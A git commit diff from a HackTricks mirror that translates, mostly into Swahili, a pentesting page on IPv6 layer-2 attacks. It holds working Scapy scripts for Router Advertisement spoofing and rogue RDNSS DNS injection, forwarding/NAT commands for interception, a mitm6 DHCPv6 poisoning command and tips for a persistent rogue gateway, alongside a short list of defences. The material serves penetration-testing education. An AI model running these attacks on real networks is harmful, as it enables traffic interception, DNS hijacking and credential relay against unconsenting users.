mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
		
							parent
							
								
									ab3014a198
								
							
						
					
					
						commit
						5cd19b4c7a
					
				@ -2,7 +2,7 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## IPv6 Msingi wa Nadharia
 | 
			
		||||
## IPv6 Msingi wa nadharia
 | 
			
		||||
 | 
			
		||||
### Mitandao
 | 
			
		||||
 | 
			
		||||
@ -50,17 +50,17 @@ Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-loca
 | 
			
		||||
 | 
			
		||||
### **Aina za Anwani za IPv6**
 | 
			
		||||
 | 
			
		||||
- **Unique Local Address (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
 | 
			
		||||
- **Multicast Address**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
 | 
			
		||||
- **Anycast Address**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Sehemu ya anuwai ya **`2000::/3`** ya unicast ya kimataifa.
 | 
			
		||||
- **Anwani ya Kawaida ya Mitaa (ULA)**: Kwa mawasiliano ya ndani, si kwa ajili ya usafirishaji wa umma wa intaneti. Kichwa: **`FEC00::/7`**
 | 
			
		||||
- **Anwani ya Multicast**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
 | 
			
		||||
- **Anwani ya Anycast**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Ni sehemu ya anuwai ya **`2000::/3`** ya unicast wa kimataifa.
 | 
			
		||||
 | 
			
		||||
### **Kichwa cha Anwani**
 | 
			
		||||
### **Vichwa vya Anwani**
 | 
			
		||||
 | 
			
		||||
- **fe80::/10**: Anwani za Link-Local (sawa na 169.254.x.x)
 | 
			
		||||
- **fc00::/7**: Unique Local-Unicast (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
 | 
			
		||||
- **2000::/3**: Global Unicast
 | 
			
		||||
- **ff02::1**: Multicast All Nodes
 | 
			
		||||
- **ff02::2**: Multicast Router Nodes
 | 
			
		||||
- **fc00::/7**: Unicast ya Kawaida ya Mitaa (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
 | 
			
		||||
- **2000::/3**: Unicast wa Kimataifa
 | 
			
		||||
- **ff02::1**: Multicast kwa Nodes Zote
 | 
			
		||||
- **ff02::2**: Multicast kwa Nodes za Router
 | 
			
		||||
 | 
			
		||||
### **Kugundua Anwani za IPv6 ndani ya Mtandao**
 | 
			
		||||
 | 
			
		||||
@ -112,7 +112,7 @@ Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo y
 | 
			
		||||
 | 
			
		||||
### Kurekebisha Mfumo kwa Maabara Imara
 | 
			
		||||
 | 
			
		||||
Kabla ya kucheza na trafiki ya IPv6, inapendekezwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
 | 
			
		||||
Kabla ya kucheza na trafiki ya IPv6 inashauriwa kuimarisha sanduku lako ili kuepuka kuathiriwa na majaribio yako mwenyewe na kupata utendaji bora wakati wa kuingiza/kusikiliza pakiti nyingi.
 | 
			
		||||
```bash
 | 
			
		||||
# Enable promiscuous mode to capture all frames
 | 
			
		||||
sudo ip link set dev eth0 promisc on
 | 
			
		||||
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
 | 
			
		||||
```
 | 
			
		||||
### Passive NDP & DHCPv6 Sniffing
 | 
			
		||||
 | 
			
		||||
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja.  Mstari mmoja ufuatao wa Python/Scapy unasikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi, iliyo na muda wa nani ni nani:
 | 
			
		||||
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kubaini sehemu nzima bila kutuma pakiti hata moja.  Mfuatano huu wa Python/Scapy unakusikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi na alama ya wakati ya nani ni nani:
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
from scapy.all import *
 | 
			
		||||
@ -197,9 +197,9 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
 | 
			
		||||
```
 | 
			
		||||
Matokeo: muundo kamili wa **link-local topology** (MAC ⇄ IPv6) ndani ya sekunde chache, bila kuanzisha mifumo ya IPS/IDS inayotegemea skana za kazi.
 | 
			
		||||
 | 
			
		||||
### Ulaghai wa Matangazo ya Router (RA)
 | 
			
		||||
### Router Advertisement (RA) Spoofing
 | 
			
		||||
 | 
			
		||||
Mikondo ya IPv6 inategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua lango la chaguo-msingi. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama lango.
 | 
			
		||||
IPv6 hosts zinategemea **ICMPv6 Router Advertisements** kwa ajili ya kugundua default-gateway. Ikiwa utaingiza RAs za uongo **zaidi ya mara** kuliko router halali, vifaa vitabadilisha kimya kimya kwako kama gateway.
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
from scapy.all import *
 | 
			
		||||
@ -227,9 +227,36 @@ sudo sysctl -w net.ipv6.conf.all.forwarding=1
 | 
			
		||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
 | 
			
		||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
 | 
			
		||||
```
 | 
			
		||||
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
 | 
			
		||||
 | 
			
		||||
| Flag | Meaning | Effect on Client Behaviour |
 | 
			
		||||
|------|---------|----------------------------|
 | 
			
		||||
| **M (Managed Address Configuration)** | Wakati umewekwa kuwa `1` mwenyeji LAZIMA atumie **DHCPv6** kupata anwani yake ya IPv6. | Anwani nzima inatoka kwa DHCPv6 – bora kwa *mitm6* mtindo wa sumu. |
 | 
			
		||||
| **O (Other Configuration)** | Wakati umewekwa kuwa `1` mwenyeji anapaswa kutumia **DHCPv6** tu kupata *maelezo mengine* (DNS, NTP, …). | Anwani bado kupitia SLAAC, lakini DNS inaweza kutekwa na DHCPv6. |
 | 
			
		||||
| **M=0 / O=0** | Mtandao safi wa SLAAC. | Njia za RA / RDNSS pekee zinaweza kufanyika – DHCPv6 haitatumwa na wateja. |
 | 
			
		||||
| **M=1 / O=1** | Mazingira mchanganyiko. | Zote DHCPv6 na SLAAC zinatumika; uso wa kudanganya ni mkubwa zaidi. |
 | 
			
		||||
 | 
			
		||||
Wakati wa pentest unaweza kuchunguza RA halali mara moja na kuamua ni vector ipi inayowezekana:
 | 
			
		||||
```bash
 | 
			
		||||
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements
 | 
			
		||||
```
 | 
			
		||||
Tafuta uwanja wa `flags [M,O]` katika dump - hakuna makisio yanayohitajika.
 | 
			
		||||
 | 
			
		||||
Uwanja wa **Prf** (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi router yako ya uasi inavyoonekana kuvutia wakati *gateway* nyingi zipo:
 | 
			
		||||
 | 
			
		||||
| Prf value | Binary | Meaning |
 | 
			
		||||
|-----------|--------|---------|
 | 
			
		||||
| **High**  | `10`   | Wateja wanapendelea router hii kuliko yoyote *Medium*/*Low* |
 | 
			
		||||
| Medium (default) | `01` | Inatumika na karibu kila kifaa halali |
 | 
			
		||||
| Low     | `00` | Inachaguliwa tu wakati hakuna router bora zaidi |
 | 
			
		||||
 | 
			
		||||
Unapozalisha pakiti na Scapy unaweza kuipanga kupitia parameter ya `prf` kama ilivyoonyeshwa hapo juu (`prf=0x1` → High). Kuunganisha **High Prf**, **kipindi kifupi**, na **muda usio sifuri** kunafanya gateway yako ya uasi kuwa thabiti sana.
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
### RDNSS (DNS) Spoofing kupitia RA
 | 
			
		||||
 | 
			
		||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa uendeshaji wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) unakubali moja kwa moja:
 | 
			
		||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) kwa otomatiki unakubali.
 | 
			
		||||
```python
 | 
			
		||||
#!/usr/bin/env python3
 | 
			
		||||
from scapy.all import *
 | 
			
		||||
@ -249,16 +276,16 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
 | 
			
		||||
 | 
			
		||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
 | 
			
		||||
```
 | 
			
		||||
Wateja wata **ongeza** DNS yako kwenye orodha yao ya resolver kwa muda uliotolewa, wakitoa hijacking kamili ya DNS hadi thamani ipotee au utume `lifetime=0` kurejea.
 | 
			
		||||
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
 | 
			
		||||
 | 
			
		||||
### DHCPv6 DNS Spoofing (mitm6)
 | 
			
		||||
 | 
			
		||||
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa DNS.  [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unatoa **anwani yako ya link-local kama DNS kwa sekunde 300**.  Hii inafungua:
 | 
			
		||||
Badala ya SLAAC, mitandao ya Windows mara nyingi inategemea **stateless DHCPv6** kwa ajili ya DNS.  [mitm6](https://github.com/rofl0r/mitm6) inajibu kiotomatiki kwa ujumbe wa `Solicit` kwa mtiririko wa **Advertise → Reply** ambao unateua **anwani yako ya link-local kama DNS kwa sekunde 300**.  Hii inafungua:
 | 
			
		||||
 | 
			
		||||
* Mashambulizi ya NTLM relay (WPAD + DNS hijacking)
 | 
			
		||||
* NTLM relay attacks (WPAD + DNS hijacking)
 | 
			
		||||
* Kukamata ufumbuzi wa majina ya ndani bila kugusa routers
 | 
			
		||||
 | 
			
		||||
Matumizi ya kawaida:
 | 
			
		||||
Typical usage:
 | 
			
		||||
```bash
 | 
			
		||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
 | 
			
		||||
```
 | 
			
		||||
@ -267,7 +294,7 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
 | 
			
		||||
* **RA Guard / DHCPv6 Guard / ND Inspection** kwenye swichi zinazodhibitiwa.
 | 
			
		||||
* Port ACLs zinazoruhusu tu MAC halali ya router kutuma RAs.
 | 
			
		||||
* Fuatilia **RAs zenye kiwango cha juu zisizo thabiti** au mabadiliko ya ghafla ya **RDNSS**.
 | 
			
		||||
* Kuzima IPv6 kwenye mwisho ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana – pendelea kuchuja L2 badala yake.
 | 
			
		||||
* Kuzima IPv6 kwenye vituo ni suluhisho la muda ambalo mara nyingi linaweza kuvunja huduma za kisasa na kuficha maeneo yasiyoonekana – pendelea kuchuja L2 badala yake.
 | 
			
		||||
 | 
			
		||||
## Marejeo
 | 
			
		||||
 | 
			
		||||
@ -276,5 +303,6 @@ sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
 | 
			
		||||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
 | 
			
		||||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
 | 
			
		||||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
 | 
			
		||||
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
 | 
			
		||||
 | 
			
		||||
{{#include ../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user